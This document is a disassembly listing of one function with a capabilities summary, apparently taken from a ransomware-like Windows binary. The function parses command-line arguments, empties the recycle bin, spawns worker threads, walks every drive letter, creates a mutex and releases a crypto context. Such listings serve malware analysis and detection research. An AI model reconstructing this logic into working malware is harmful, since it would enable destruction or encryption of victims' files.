Function at 0x40aa00
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
call fcn.0040fb00
call fcn.00412aa0
call fcn.00404ae0
mov dword [0x413240], eax
cmp dword [0x413240], 0
je 0x40ae5b
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x38], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x403c1c
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40aa91
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x34]
mov dword [ecx + 0x413130], edx
mov eax, dword [ebp - 0x34]
push eax
call fcn.00404e20
add esp, 4
mov dword [0x41323c], 1
call fcn.004047d0
call fcn.00404a10
call fcn.00404730
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
shl eax, 2
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
shr ecx, 1
mov dword [ebp - 8], ecx
imul edx, dword [ebp - 0x44], 6
push edx
push 0x4131dc
call fcn.00412b70
add esp, 8
imul eax, dword [ebp - 8], 3
push eax
push 0x41320c
call fcn.00412b70
add esp, 8
mov ecx, dword [ebp - 8]
shl ecx, 2
push ecx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
shl edx, 2
push edx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 0
je 0x40ae3e
cmp dword [ebp - 0x18], 0
je 0x40ae3e
mov eax, dword [ebp - 8]
shl eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00412ab0
add esp, 0xc
mov edx, dword [ebp - 8]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call fcn.00412ab0
add esp, 0xc
mov dword [ebp - 0x1c], 0
jmp 0x40ab65
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 8]
jae 0x40abab
push 0
push 0
push 1
push 0x40a820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x40a820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
jmp 0x40ab5c
push 0x403c28
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 0x50], eax
push 0x403c38
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40acd9
mov dword [ebp - 0x24], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x20], 0
jmp 0x40ac0b
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x4c]
jge 0x40ac39
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40ac37
xor ecx, ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x40ac02
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x40ac9e
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x10]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x40ac9e
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x10]
movzx ecx, word [eax + edx]
push ecx
call fcn.0040a910
add esp, 4
jmp 0x40acaa
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040a620
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call fcn.00412b50
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
jne 0x40ac39
cmp dword [ebp - 0xc], 0
jne 0x40ad67
cmp dword [ebp - 0x50], 0
jne 0x40ad67
push 0x403c44
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40ad10
push 0x403c64
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x40ad14
jmp 0x40ad67
call fcn.00404500
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40ad67
mov edx, 0x41
mov word [ebp - 4], dx
jmp 0x40ad3f
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
movzx ecx, word [ebp - 4]
cmp ecx, 0x5a
jg 0x40ad67
mov edx, dword [ebp - 0x30]
and edx, 1
je 0x40ad5d
movzx eax, word [ebp - 4]
push eax
call fcn.0040a910
add esp, 4
mov ecx, dword [ebp - 0x30]
shr ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x40ad33
mov dword [ebp - 0x3c], 0
jmp 0x40ad79
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 8]
jae 0x40ad94
push 1
push 0
push 0x41320c
call fcn.00412c90
add esp, 0xc
jmp 0x40ad70
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x40], 0
jmp 0x40adb8
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 8]
jae 0x40add3
push 1
push 0
push 0x4131dc
call fcn.00412c90
add esp, 0xc
jmp 0x40adaf
push 0xffffffffffffffff
push 1
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.00404730
mov dword [ebp - 0x28], 0
jmp 0x40adfc
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 8]
jae 0x40ae26
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40adf3
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412b50
add esp, 4
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00412b50
add esp, 4
cmp dword [0x41323c], 0
je 0x40ae4c
call fcn.00404e60
push 0
mov edx, dword [0x413240]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]